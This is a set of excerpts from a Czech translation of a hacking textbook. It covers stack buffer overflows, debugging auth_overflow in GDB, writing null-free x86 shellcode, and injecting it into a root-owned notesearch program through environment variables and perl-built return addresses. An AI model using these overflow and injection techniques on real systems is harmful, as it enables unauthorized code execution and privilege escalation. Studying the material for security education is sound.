Debugger GDB jsme spustili s volbou -q, abychom potlačili uvítací záhlaví. Body přerušení byly nastaveny pro řádky 9 a 16, takže jakmile se program spustí, bude na nich pozastaveno vykonávání programu a my dostaneme šanci prozkoumat paměť. (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/reader/booksrc/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAA AAAAAA Breakpoint 1, check_authentication (password=0xbffff9af 'A' <repeats 30 times>) at auth_overflow.c:9 9

strcpy(password_buffer, password);

(gdb) x/s password_buffer 0xbffff7a0:

")????o??????)\205\004\b?o??p???????"

(gdb) x/x &auth_flag 0xbffff7bc:

0x00000000


Hacking – umění exploitace

151

(gdb) print 0xbffff7bc - 0xbffff7a0 $1 = 28 (gdb) x/16xw password_buffer 0xbffff7a0:

0xb7f9f729

0xb7fd6ff4

0xbffff7d8

0x08048529

0xbffff7b0:

0xb7fd6ff4

0xbffff870

0xbffff7d8

0x00000000

0xbffff7c0:

0xb7ff47b0

0x08048510

0xbffff7d8

0x080484bb

0xbffff7d0:

0xbffff9af

0x08048510

0xbffff838

0xb7eafebc

(gdb)

První bod přerušení je před voláním strcpy(). Pokud prozkoumáte ukazatel password_buffer, debugger vám ukáže, že je naplněn náhodnými neinicializovanými daty, a že se nachází v paměti na adrese 0xbffff7a0. Pokud prozkoumáte adresu proměnné auth_flag, uvidíte, že je umístěna na 0xbffff7bc, a že její hodnota je 0. Příkaz print může být použit pro vykonání aritmetické operace a zobrazení, že auth_flag je 28 bajtů za začátkem password_buffer. Tento vztah je také možné vydedukovat z bloku paměti (počínaje password_buffer). (gdb) continue Continuing. Breakpoint 2, check_authentication (password=0xbffff9af 'A' <repeats 30 times>) at auth_overflow.c:16 16

return auth_flag;

(gdb) x/s password_buffer 0xbffff7a0:

'A' <repeats 30 times>

(gdb) x/x &auth_flag 0xbffff7bc:

0x00004141

(gdb) x/16xw password_buffer 0xbffff7a0:

0x41414141

0x41414141

0x41414141

0x41414141

0xbffff7b0:

0x41414141

0x41414141

0x41414141

0x00004141

0xbffff7c0:

0xb7ff47b0

0x08048510

0xbffff7d8

0x080484bb

0xbffff7d0:

0xbffff9af

0x08048510

0xbffff838

0xb7eafebc

(gdb) x/4cb &auth_flag 0xbffff7bc:

65 'A' 65 'A' 0 '\0' 0 '\0'

(gdb) x/dw &auth_flag 0xbffff7bc:

16705

(gdb)

Pokračujme k druhému bodu přerušení, který je za strcpy(), a opět prozkoumejme stejná místa v paměti. Buffer password_buffer přetekl do the auth_flag, takže změnil první dva bajty na 0x41. Z hodnoty 0x00004141 by se mohlo zdát, že se nic nestalo, ale vzpomeňte si, že platforma x86 používá architekturu little-endian (tj. nejméně významný bajt se uloží jako první), takže se předpokládá, že se na ně bude hledět takto. Pokud prozkoumáte všechny čtyři bajty jeden po dru-


0x300 – Exploitace

152

hém, přesně uvidíte, jak je paměť ve skutečnosti rozložena. Důsledkem toho všeho je, že program bude tuto hodnotu považovat za celé číslo s hodnotou 16 705. (gdb) continue Continuing. -=-=-=-=-=-=-=-=-=-=-=-=-=Access Granted. -=-=-=-=-=-=-=-=-=-=-=-=-=Program exited with code 034. (gdb)

Po přetečení funkce check_authentication() vrátí hodnotu 16 705, nikoli 0. Protože v příkazu if se považuje za autentizovanou jakákoliv nenulová hodnota, přejde tok vykonávání programu do autentizované sekce. V tomto příkladu je řídicím bodem vykonávání proměnná auth_flag, protože zdrojem řízení byl přepis této hodnoty. Tohle byl ovšem velmi vyumělkovaný příklad, který byl závislý na rozvržení paměti proměnných. V souboru auth_overflow2.c jsou proměnné deklarovány v opačném pořadí. (Změny vůči souboru auth_overflow.c jsou zvýrazněny tučně.)

auth_overflow2.c #include <stdio.h> #include <stdlib.h> #include <string.h> int check_authentication(char *password) { char password_buffer[16]; int auth_flag = 0; strcpy(password_buffer, password); if(strcmp(password_buffer, "brillig") == 0) auth_flag = 1; if(strcmp(password_buffer, "outgrabe") == 0) auth_flag = 1; return auth_flag; } int main(int argc, char *argv[]) { if(argc < 2) {


0x500 SHELLKÓD

Shellkód, který jsme až doposud používali v našich exploitech, byl pouhý řetězec zkopírovaných a vložených bajtů. Viděli jste standardní shellkód plodící shell pro lokální exploity a shellkód navazující se na port pro vzdálené exploity. Shellkódu se také někdy říká exploitační granát, protože se jedná o soběstačné programy, které vykonají svou práci, jakmile se nabouráte do programu. Shellkód obvykle zplodí shell, protože to je velmi elegantní způsob, jak přehrát řízení na někoho jiného. Může ovšem dělat i něco úplně jiného, cokoliv, co programy dovedou. Pro mnoho hackerů ovšem příběh o shellkódu končí u kopírování a vkládání bajtů. Bohužel. Takoví hackeři smočili pouze palec v moři možného. Vlastní shellkód dává absolutní kontrolu nad exploitovaným programem. Možná chcete, aby váš shellkód přidal administrátorský účet do /etc/ passwd, nebo aby automaticky odstraňoval řádky z protokolovacích souborů. Jakmile víte, jak napsat vlastní shellkód, jsou vaše exploitační možnosti limitovány pouze vaší představivostí. A navíc – když píšete shellkódy, rozvíjíte své dovednosti týkající se jazyka assembler a osvojujete si řadu hackerských technik, které opravdu stojí za to umět.

0x510 Assembler versus C Bajty shellkódu jsou ve skutečnosti strojové instrukce, které jsou specifické pro danou architekturu, protože se shellkód píše v assembleru. Psát program v assembleru je něco jiného, než když se píše program v C, mnohé principy jsou ovšem podobné. Věci, jako jsou vstup, výstup, řízení procesů, přístup k souborům a komunikace po síti, jsou operačním systémem spravovány v kernelu. Zkompilované programy C pak provádějí tyto úlohy tak, že činí systémová volání do kernelu. Různé operační systémy mají různé sady systémových volání. V C se kvůli pohodlí a přenositelnosti používají standardní knihovny. Program v jazyku C, který pro výstup řetězce používá printf(), je možné zkompilovat pro mnoho různých systémů, protože knihovna zná patřičná systémová volání pro jednotlivé architektury. Program C, který byl zkompilován na procesoru x86, vyprodukuje kód assembleru pro procesor x86.


0x500 – Shellkód

332

Jazyk assembler je už ze své definice specifický ke konkrétní procesorové architektuře, takže přenositelnost není možná. Nejsou zde žádné standardní knihovny; systémová volání do kernelu se musejí činit přímo. Abychom si obojí mohli porovnat názorně, začneme jednoduchým programem C, který poté přepíšeme do assembleru x86.

helloworld.c #include <stdio.h> int main() { printf("Hello, world!\n"); return 0; }

Jakmile zkompilovaný program poběží, vykonávání proteče standardní knihovnou I/O a učiní se systémové volání, aby se na obrazovku vypsal řetězec "Hello, world!". Systémová volání programu se dají sledovat programem strace. Pokud ho budeme aplikovat na zkompilovaný program helloworld.c, zobrazí všechna systémová volání, která program učinil. reader@hacking:~/booksrc $ gcc helloworld.c reader@hacking:~/booksrc $ strace ./a.out execve("./a.out", ["./a.out"], [/* 27 vars */]) = 0 brk(0)

= 0x804a000

access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ef6000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=61323, ...}) = 0 mmap2(NULL, 61323, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7ee7000 close(3)

= 0

access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20Z\1\000"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1248904, ...}) = 0 mmap2(NULL, 1258876, PROT_READ|PROT_EXEC, MAP_PRIVATE| MAP_DENYWRITE, 3, 0) = 0xb7db3000 mmap2(0xb7ee0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED| MAP_DENYWRITE, 3, 0x12c) = 0xb7ee0000 mmap2(0xb7ee4000, 9596, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED| MAP_ANONYMOUS, -1, 0) = 0xb7ee4000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE| MAP_ANONYMOUS, -1, 0) = 0xb7db2000


Hacking – umění exploitace

333

set_thread_area({entry_number:-1 -> 6, base_addr:0xb7db26b0, limit:1048575, seg_32bit:1,contents:0, read_exec_only:0, limit_in_pages:1, seg_not_ present:0, useable:1}) = 0 mprotect(0xb7ee0000, 8192, PROT_READ)

= 0

munmap(0xb7ee7000, 61323)

= 0

fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7ef5000 write(1, "Hello, world!\n", 13Hello, world! ) = 13 exit_group(0) = ? Process 11528 detached reader@hacking:~/booksrc $

Jak sami vidíte, zkompilovaný program dělá celou řadu věcí, nikoliv pouze to, že vytiskne řetězec. Systémová volání na začátku připravují prostředí a paměť pro program. Povšimněte si důležité části, kterou je systémové volání write() zvýrazněné tučně. Tam se skutečně vypíše řetězec Manuálové stránky Unixu, ke kterým se přistupuje prostřednictvím příkazu man, jsou rozděleny do jednotlivých sekcí. Sekce 2 obsahuje manuálovou stránku pro systémová volání, takže pokud zadáte příkaz man 2 write, dozvíte se, jakým způsobem se používá systémové volání write():

Manuálová stránka pro systémové volání write() WRITE(2)

Linux Programmer's Manual

WRITE(2) NÁZEV write – zapisuje do deskriptoru souboru SYNOPSE #include <unistd.h> ssize_t write(int fd, const void *buf, size_t count); POPIS write() zapíše až count bajtů do souboru, na který se odkazuje deskriptorem fd, z bufferu, jenž začíná na buf. POSIX požaduje, aby read(), k němuž může dojít po write(), vrátil nová data. Připomínáme, že všechny souborové systémy nejsou v souladu s POSIX.

Výstup z programu strace rovněž ukáže argumenty systémového volání. Argumenty buf a count jsou ukazatele na náš řetězec a jeho délka. Argument fd, 1, je speciální standardní souborový deskriptor. V Unixu se souborové deskriptory používají pro téměř všechno: vstup, výstup, přístup k souboru, síťové sockety atd. Souborový deskriptor lze přirovnat k situaci, kdy dáváte kabát do


334

0x500 – Shellkód

čistírny, protože dostanete lístek s číslem. A pomocí tohoto čísla se poté můžete odkazovat na svůj kabát. První tři čísla souborových deskriptorů (0, 1, 2) se automaticky používají pro standardní vstup, výstup a výstup chyb. Tyto hodnoty jsou standardní a jsou definovány na několika místech, například v souboru /usr/include/unistd.h:

Výňatek z /usr/include/unistd.h /* Standardní souborové deskriptory. */ #define STDIN_FILENO 0

/* Standardní vstup. */

#define STDOUT_FILENO 1

/* Standardní výstup. */

#define STDERR_FILENO 2

/* Standardní výstup chyb. */

Zapisování bajtů na souborový deskriptor 1 standardního výstupu znamená, že se bajty vytisknou; čtení ze souborového deskriptoru 0 standardního vstupu znamená, že se bajty načtou. Se souborovým deskriptorem 2 standardního výstupu chyb se zobrazují chyby nebo ladicí zprávy, aby byly odděleny od standardního výstupu.

0x511

Linuxová systémová volání v assembleru

Každé možné systémové volání má v Linuxu přiřazené číslo, takže pokud v assembleru potřebujete vykonat nějaké volání, lze se na něj odkázat prostřednictvím čísla. Čísla systémových volání jsou uvedena v souboru /usr/include/asm-i386/unistd.h.

Výňatek z /usr/include/asm-i386/unistd.h #ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * Tento soubor obsahuje čísla systémových volání. */ #define __NR_restart_syscall 0 #define __NR_exit

1

#define __NR_fork

2

#define __NR_read

3

#define __NR_write

4

#define __NR_open

5

#define __NR_close

6

#define __NR_waitpid

7

#define __NR_creat

8

#define __NR_link

9

#define __NR_unlink

10

#define __NR_execve

11


Hacking – umění exploitace #define __NR_chdir

12

#define __NR_time

13

#define __NR_mknod

14

#define __NR_chmod

15

#define __NR_lchown

16

#define __NR_break

17

#define __NR_oldstat

18

#define __NR_lseek

19

#define __NR_getpid

20

#define __NR_mount

21

#define __NR_umount

22

#define __NR_setuid

23

#define __NR_getuid

24

#define __NR_stime

25

#define __NR_ptrace

26

#define __NR_alarm

27

#define __NR_oldfstat

28

#define __NR_pause

29

#define __NR_utime

30

#define __NR_stty

31

#define __NR_gtty

32

#define __NR_access

33

#define __NR_nice

34

#define __NR_ftime

35

#define __NR_sync

36

#define __NR_kill

37

#define __NR_rename

38

#define __NR_mkdir

39

335

...

Abychom přepsali soubor helloworld.c do assembleru, budeme muset učinit jedno systémové volání funkce write() pro výstup a druhým zavolat exit(), aby proces hladce skončil. V assembleru x86 se to zařídí pouze dvěma assemblerovými instrukcemi: mov a int. Assemblerové instrukce pro procesor x86 mají jeden, dva, tři, nebo žádný operand. Operandy instrukce mohou být číselné hodnoty, paměťové adresy, nebo procesorové registry. Procesor x86 má několik 32bitových registrů, na které lze pohlížet jako na hardwarové proměnné. Registry EAX, EBX, ECX, EDX, ESI, EDI, EBP a ESP se dají použít jako operandy, registr EIP nikoliv. Instrukce mov kopíruje hodnotu mezi svými dvěma operandy. V assemblerové syntaxi Intel je první operand cíl, druhý operand je zdroj. Instrukce int odešle do kernelu přerušovací signál, který je definován jejím jediným operandem. V kernelu Linuxu se přerušením 0x80 říká, aby učinil nějaké systémové volání. Když se vykonává instrukce int 0x80, kernel učiní systémové volání na základě prvních čtyř registrů. Registr EAX specifikuje, o které systémové volání jde, zatímco registry EBX,


336

0x500 – Shellkód

ECX a EDX jsou použity pro první, druhý a třetí argument daného systémového volání. Všechny tyto registry se dají nastavit instrukcí mov. V níže uvedeném výpisu kódu assembleru se deklarují paměťové segmenty. Řetězec "Hello, world!" se znakem pro nový řádek (newline, 0x0a) je umístěn v segmentu data, skutečné assemblerové instrukce jsou v segmentu text. Tím jsou dodrženy řádné praktiky při segmentaci paměti.

helloworld.asm section .data

; Segment data

msg db "Hello, world!", 0x0a ; Řetězec a znak pro nový řádek, newline section .text

; Segment text

global _start

; Výchozí vstupní bod pro linker ELF

_start: ; SYSCALL: write(1, msg, 14) mov eax, 4

; Dá 4 ido eax, protože write je systémové volání č. 4.

mov ebx, 1

; Dá 1 do ebx, protože standardní výstup je 1.

mov ecx, msg

; Dá adresu řetězce do ecx.

mov edx, 14

; Dá 14 do edx, protože řetězec má 14 bajtů.

int 0x80

; Zavolá kernel, aby učinil systémové volání.

; SYSCALL: exit(0) mov eax, 1

; Dá 1 do eax, protože exit je systémové volání č. 1.

mov ebx, 0

; Exit úspěšný.

int 0x80

; Učiní systémové volání.

Instrukce programu jsou bezproblémové. Pro systémové volání write() na standardní výstup se do EAX umístí hodnota 4, protože funkce write() je systémové volání, které má přiřazeno číslo 4. Poté se do EBX dá hodnota 1, protože první argument funkce write() musí být souborový deskriptor pro standardní výstup. Do ECX se dá adresa řetězce v segmentu data a do EDX délka řetězce (v tomto případě 14 bajtů). Poté, co se tyto registry načtou, spustí se přerušení (interrupt), které zavolá funkci write(). Aby program skončil hladce, je třeba zavolat funkci exit() s jediným argumentem 0. Do registru EAX se tedy vloží hodnota 1, protože exit() je systémové volání s přiřazeným číslem 1. Do EBX se dá 0, protože první a zároveň jediný argument má být 0. Poté se znovu spustí přerušení. Abychom z kódu vytvořili spustitelný binární program, kód assembleru musíme sestavit a nalinkovat do spustitelného formátu. Když kompilujeme kód C, o všechno se automaticky postará kompilátor GCC. My se chystáme vytvořit binární ELF (executable and linking format) soubor, takže řádek global _start říká linkeru (sestavovacímu programu), kde začínají instrukce assembleru. Assembler nasm s argumentem -f elf sestaví helloworld.asm do objektového souboru, který už bude možné nalinkovat (linked) jako binární ELF soubor. Tento objektový soubor standardně


Hacking – umění exploitace

337

dostane název helloworld.o. Sestavovací program ld vyprodukuje ze sestaveného objektového souboru spustitelný binární soubor a.out. reader@hacking:~/booksrc $ nasm -f elf helloworld.asm reader@hacking:~/booksrc $ ld helloworld.o reader@hacking:~/booksrc $ ./a.out Hello, world! reader@hacking:~/booksrc $

Ačkoliv tento malinkatý prográmek funguje, nejedná se o shellkód, protože není soběstačný a musí být nalinkován (linked).

0x520 Cesta k shellkódu Shellkód se doslovně injektuje do běžícího programu, kde pak funguje jako virus uvnitř buňky. Protože shellkód není opravdový spustitelný program, nemůžeme si dovolit luxus deklarovat rozvržení dat v paměti nebo dokonce používat jiné paměťové segmenty. Jeho instrukce musejí být soběstačné a připravené tak, aby uměly rovnou převzít kontrolu nad procesorem, bez ohledu na jeho aktuální stav. Obvykle se tomu říká kód nezávislý na pozici (position-independent code). V shellkódu se musejí bajty řetězce "Hello, world!" šikovně smíchat s bajty assemblerových instrukcí, protože nemáme dispozici paměťové segmenty, které bychom mohli definovat nebo odhadovat. To půjde, pokud se ovšem EIP nepokusí interpretovat řetězec jako instrukce. Pokud budete chtít přistoupit k řetězci jako k datům, budete potřebovat nějaký ukazatel na tento řetězec. Když se shellkód začne vykonávat, může být v paměti kdekoliv, takže jeho absolutní adresa v paměti se musí vypočítat relativně vzhledem k EIP. Protože k EIP není možné přistupovat z assemblerových instrukcí, musíme se uchýlit k nějakému triku.

0x521

Assemblerové instrukce používající zásobník

Zásobník je natolik integrální součástí architektury x86, že pro práci s ním existuje několik speciálních instrukcí, viz následující tabulka. Instrukce

Popis

push <source>

Strčí operand source do zásobníku.

pop <target>

Vytáhne hodnotu ze zásobníku a uloží ji v operandu target.

call <location >

Zavolá nějakou funkci a vykonávání odskočí na adresu uvedenou v operandu location. Umístění může být relativní či absolutní. Adresa instrukce následující za voláním se uloží do zásobníku, takže vykonávání se může později vrátit.

ret

Návrat z funkce. Vytáhne návratovou adresu ze zásobníku a vykonávání skočí na ni.


338

0x500 – Shellkód

Exploity založené na zásobníku se uskutečňují prostřednictvím instrukcí call a ret. Když se zavolá nějaká funkce, strčí se do zásobníku návratová adresa příští instrukce. Když funkce skončí, instrukce ret vytáhne návratovou adresu ze zásobníku a EIP skočí zpět. Pokud přepíšeme návratovou adresu uloženou na zásobníku ještě před vykonáním instrukce ret, můžeme převzít kontrolu nad vykonáváním programu. Tato architektura může být zneužita ještě jedním způsobem pro vyřešení problému s adresováním řádkových (inline) dat řetězce. Pokud je řetězec umístěn ihned za instrukcí call, adresa řetězce bude strčena do zásobníku jako návratová adresa. Takže místo toho, abychom zavolali funkci, rovnou skočíme za řetězec k instrukci pop, která vytáhne adresu ze zásobníku a dá ji do registru. Tuto techniku předvádějí následující assemblerové instrukce.

helloworld1.s BITS 32 call mark_below

; Říká nasm, že se jedná o 32bitový kód. ; Zavolá instrukce nacházející se pod řetězcem

db "Hello, world!", 0x0a, 0x0d ; s bajty newline a carriage return. mark_below: ; ssize_t write(int fd, const void *buf, size_t count); pop ecx

; Vytáhne návratovou adresu (string ptr) do ecx.

mov eax, 4

; Zapíše číslo systémového volání

mov ebx, 1

; Deskriptor souboru pro STDOUT

mov edx, 15

; Délka řetězce

int 0x80

; Učiní systémové volání: write(1, string, 14)

; void _exit(int status); mov eax, 1

; Číslo systémového volání exit

mov ebx, 0

; Stav = 0

int 0x80

; Učiní systémové volání: exit(0)

Instrukce call skočí s vykonáváním pod řetězec. Zároveň také strčí adresu příští instrukce do zásobníku. Touto příští instrukcí je v našem případě začátek řetězce. Návratovou adresu lze okamžitě ze zásobníku vytáhnout do příhodného registru. Nepoužili jsme žádné paměťové segmenty, pouze surové instrukce, které se, když je injektujeme do existujícího procesu, vykonají zcela nezávisle na své pozici. To znamená, že když jsou tyto instrukce sestaveny (assembled), nemohou být nalinkovány (linked) do spustitelného programu. reader@hacking:~/booksrc $ nasm helloworld1.s reader@hacking:~/booksrc $ ls -l helloworld1 -rw-r--r-- 1 reader reader 50 2007-10-26 08:30 helloworld1 reader@hacking:~/booksrc $ hexdump -C helloworld1 00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c |.....Hello, worl|


Hacking – umění exploitace

339

00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba |d!..Y...........| 00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |................| 00000030 cd 80 |..| 00000032 reader@hacking:~/booksrc $ ndisasm -b32 helloworld1 00000000 E80F000000

call 0x14

00000005 48

dec eax

00000006 656C

gs insb

00000008 6C

insb

00000009 6F

outsd

0000000A 2C20

sub al,0x20

0000000C 776F

ja 0x7d

0000000E 726C

jc 0x7c

00000010 64210A

and [fs:edx],ecx

00000013 0D59B80400

or eax,0x4b859

00000018 0000

add [eax],al

0000001A BB01000000

mov ebx,0x1

0000001F BA0F000000

mov edx,0xf

00000024 CD80

int 0x80

00000026 B801000000

mov eax,0x1

0000002B BB00000000

mov ebx,0x0

00000030 CD80 i

nt 0x80

reader@hacking:~/booksrc $

Assembler nasm konvertuje kód assembleru do strojového kódu a odpovídající nástroj ndisasm převádí strojový kód do kódu assembleru. Oba nástroje jsme použili výše, abychom ukázali, jaký je vztah mezi strojovým kódem a assemblerovými instrukcemi. Disassemblované instrukce zobrazí bajty řetězce "Hello, world!" interpretované jako instrukce. Pokud bychom v této chvíli injektovali tento shellkód do programu a přesměrovali EIP, program vytiskne "Hello, world!". Vyzkoušejme již známý program notesearch jako cíl tohoto exploitu. reader@hacking:~/booksrc $ export SHELLCODE=$(cat helloworld1) reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch SHELLCODE will be at 0xbffff9c6 reader@hacking:~/booksrc $ ./notesearch $(perl -e ' print "\xc6\xf9\xff\xbf"x40') -------[ end of note data ]------Segmentation fault reader@hacking:~/booksrc $

Krach. Proč myslíte, že to selhalo? V těchto situacích se vaším nejlepším přítelem stává GDB. Ale i když je vám možná jasné, co je v pozadí tohoto konkrétního selhání, naučíte-li se efektivně pracovat s debuggerem, v budoucnosti budete schopni mnohem snáze řešit i jiné problémy.


340

0x500 – Shellkód

0x522

Vyšetřování s GDB

Protože program notesearch běží jako root, nemůžeme ho ladit jako normální uživatel. Nemůžeme se ovšem ani připojit k jeho běžící kopii, protože skončí velmi brzy. Programy se naštěstí dají ladit i jinak, prostřednictvím tzv. dumpu paměti, který je uložen v souboru. Z výzvy root je možné operačnímu systému říci, aby při havárii programu provedl dump paměti. K tomu slouží příkaz ulimit -c unlimited, který zajistí, že vytvořené soubory core mohou být tak velké, jak je to potřeba. Abych to nějak shrnul – když náš program nyní zhavaruje, na disk bude zapsán dump paměti ve formě souboru core, který je následně možné prozkoumat prostřednictvím GDB. reader@hacking:~/booksrc $ sudo su root@hacking:/home/reader/booksrc # ulimit -c unlimited root@hacking:/home/reader/booksrc # export SHELLCODE=$(cat helloworld1) root@hacking:/home/reader/booksrc # ./getenvaddr SHELLCODE ./notesearch SHELLCODE will be at 0xbffff9a3 root@hacking:/home/reader/booksrc # ./notesearch $(perl -e 'print "\xa3\xf9\ xff\xbf"x40') -------[ end of note data ]------Segmentation fault (core dumped) root@hacking:/home/reader/booksrc # ls -l ./core -rw------- 1 root root 147456 2007-10-26 08:36 ./core root@hacking:/home/reader/booksrc # gdb -q -c ./core (no debugging symbols found) Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". Core was generated by `./notesearch £°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E¿£°E. Program terminated with signal 11, Segmentation fault. #0 0x2c6541b7 in ?? () (gdb) set dis intel (gdb) x/5i 0xbffff9a3 0xbffff9a3:

call

0xbffff9a8:

ins

0x2c6541b7 BYTE PTR es:[edi],[dx]

0xbffff9a9:

outs

[dx],DWORD PTR ds:[esi]

0xbffff9aa:

sub

al,0x20

0xbffff9ac:

ja

0xbffffa1d

(gdb) i r eip eip 0x2c6541b7 0x2c6541b7 (gdb) x/32xb 0xbffff9a3 0xbffff9a3:

0xe8

0x0f

0x48

0x65

0x6c

0x6c

0x6f

0xbffff9ab:

0x20

0x77

0x6f

0x72

0x6c

0x64

0x21

0x0a

0xbffff9b3:

0x0d

0x59

0xb8

0x04

0xbb

0x01

0xba

0x0f

0xbffff9bb:

0xcd

0x80

0xb8

0x01

0xbb

0xcd

0x80

0x00

(gdb) quit

0x2c


Hacking – umění exploitace

341

root@hacking:/home/reader/booksrc # hexdump -C helloworld1 00000000 e8 0f 00 00 00 48 65 6c 6c 6f 2c 20 77 6f 72 6c |.....Hello, worl| 00000010 64 21 0a 0d 59 b8 04 00 00 00 bb 01 00 00 00 ba |d!..Y...........| 00000020 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |................| 00000030 cd 80 |..| 00000032 root@hacking:/home/reader/booksrc #

Poté, co se GDB načetl, přepnul jsem styl disassemblování na Intel. Protože jsme GDB spustili jako root, soubor .gdbinit se nepoužije. Nyní prozkoumáme paměť, kde by se měl nacházet náš shellkód. Instrukce vypadají podivně a zdá se, že krach programu zavinila první nesprávná instrukce call. Ačkoliv došlo k přesměrování vykonávání, stalo se poté něco špatného s bajty shellkódu. Za normálních okolností jsou řetězce ukončeny bajtem null, ale zde byl shell natolik ochotný a laskavý, že tyto bajty null odstranil za nás. Tím ovšem totálně zničil význam strojového kódu. Shellkód se do procesů často injektuje v podobě řetězce, pomocí funkcí jako je strcpy(). Takové funkce jednoduše končí, jakmile narazí na první bajt null, takže dojde k tomu, že v paměti bude vyprodukován nekompletní a nepoužitelný shellkód. Aby náš shellkód přežil tranzit bez úhony, musíme ho trochu předělat, aby neobsahoval žádné bajty null.

0x523

Odstranění bajtů null

Když se podíváme na disassemblovaný výstup, je naprosto evidentní, že první bajty null pocházejí z instrukce call. reader@hacking:~/booksrc $ ndisasm -b32 helloworld1 00000000 E80F000000 000000

call 0x14

00000005 48

dec eax

00000006 656C

gs insb

00000008 6C

insb

00000009 6F

outsd

0000000A 2C20

sub al,0x20

0000000C 776F

ja 0x7d

0000000E 726C

jc 0x7c

00000010 64210A

and [fs:edx],ecx

00000013 0D59B80400

or eax,0x4b859

00000018 0000

add [eax],al

0000001A BB01000000

mov ebx,0x1

0000001F BA0F000000

mov edx,0xf

00000024

CD80 int 0x80

00000026 B801000000

mov eax,0x1

0000002B BB00000000

mov ebx,0x0

00000030

CD80 int 0x80

reader@hacking:~/booksrc $


342

0x500 – Shellkód

Tato instrukce na základě prvního argumentu skočí s vykonáváním dopředu o 19 bajtů (0x13). Protože instrukce call umožňuje odskoky i na mnohem větší vzdálenost, musejí se malé hodnoty, jako je 19, vyplnit vedoucími nulami, což vede na bajty null. S tímto je možné se vypořádat různě – jedna z cest vede přes dvojkový doplněk. Malé záporné číslo bude mít své vedoucí bity zapnuté, což povede na bajty 0xff. To znamená, že budeme-li volat s využitím záporné hodnoty, abychom se s vykonáváním posunuli dozadu, strojový kód nebude mít pro tuto instrukci žádné bajty null. Následující revidovaná verze shellkódu helloworld2.s používá standardní implementaci této finty – skočí na konec shellkódu k instrukci call, která poté skočí zase zpět k instrukci pop nacházející se na začátku shellkódu.

helloworld2.s BITS 32

; Říká nasm, že se jedná o 32bitový kód.

jmp short one

; Skočí dolů, k volání na konci.

two: ; ssize_t write(int fd, const void *buf, size_t count); pop ecx ;

Vytáhne návratovou adresu (string ptr) do ecx.

mov eax, 4

; Zapíše číslo systémového volání.

mov ebx, 1

; Souborový deskriptor pro STDOUT.

mov edx, 15

; Délka řetězce.

int 0x80

; Učiní systémové volání: write(1, string, 14)

; void _exit(int status); mov eax, 1

; Číslo systémového volání exit

mov ebx, 0

; Stav = 0

int 0x80

; Učiní systémové volání:

exit(0)

one: call two

; Zavolá zpět nahoru, abychom se vyvarovali bajtů null,

db "Hello, world!", 0x0a, 0x0d ; s bajty newline a carriage return.

Když sestavíme nový shellkód, disassemblovaný výpis ukáže, že instrukce call je již zbavena bajtů null. Ačkoliv jsme tímto vyřešili první a nejobtížnější část problému s bajty null shellkódu, následující výpis ukazuje, že se v něm nachází ještě mnoho dalších bajtů null (jsou zvýrazněny tučně). reader@hacking:~/booksrc $ nasm helloworld2.s reader@hacking:~/booksrc $ ndisasm -b32 helloworld2 00000000 EB1E

jmp short 0x20

00000002 59

pop ecx

00000003 B804000000 000000

mov eax,0x4

00000008 BB01000000 000000

mov ebx,0x1


0x600 PROTIOPATŘENÍ

Sekrety žabičky druhu pralesnička strašná (Phyllobates terribilis) z tropické Ameriky obsahují extrémně účinný jed – jedna žabička vylučuje tolik jedu, že by to stačilo na otrávení deseti dospělých lidí. Jedinou příčinou, proč tato žabička má tak překvapivě mocnou ochranu, je jistý druh hada, který ji požírá a vyvinul si postupně vůči jejímu jedu resistenci. Obranná reakce žab je nasnadě – vyvíjí se u nich stále silnější a silnější jed. Jedním z důsledků této koevoluce je to, že žáby jsou v bezpečí proti všem ostatním predátorům. Tento typ koevoluce probíhá také u hackerů. Jejich exploitační techniky jsou známé už léta, takže je logické, že se vyvíjejí i obranná protiopatření. Hackeři samozřejmě reagují tím, že hledají způsoby, jak tyto obrany obcházet a rozvracet, což zase vede k vytvoření nových obranných technik. Tento cyklus inovací je ve skutečnosti docela blahodárný. I když vám viry a červi mohou způsobit dost trablů a přerušit vaše obchodní aktivity, takže utrpíte značné ztráty, nutí vás k reakci, která daný problém napraví. Červi se replikují tím, že exploitují existující slabá místa ve vadném softwaru. Často jsou tyto závady neodhaleny celé roky, ale relativně benigní červi, jako jsou CodeRed nebo Sasser, si vynutí, aby se takové závady opravily. Je to úplně stejné jako u planých neštovic u lidí – je lepší přetrpět menší vzplanutí nákazy v raném dětství, než se nakazit o mnoho let později, kdy to může mít velmi závažné následky. Kdyby nebylo internetových červů, kteří přitáhli pozornost veřejnosti na chyby v bezpečnosti, mohly by zůstat neopraveny, takže byste byli pořád zranitelní a mohli podlehnout útoku někoho s mnohem zlovolnějšími úmysly, než je pouhá replikace. V tomto ohledu mohou červi a viry, pokud se na to díváme z dlouhodobého hlediska, skutečně posílit bezpečnost. Existují 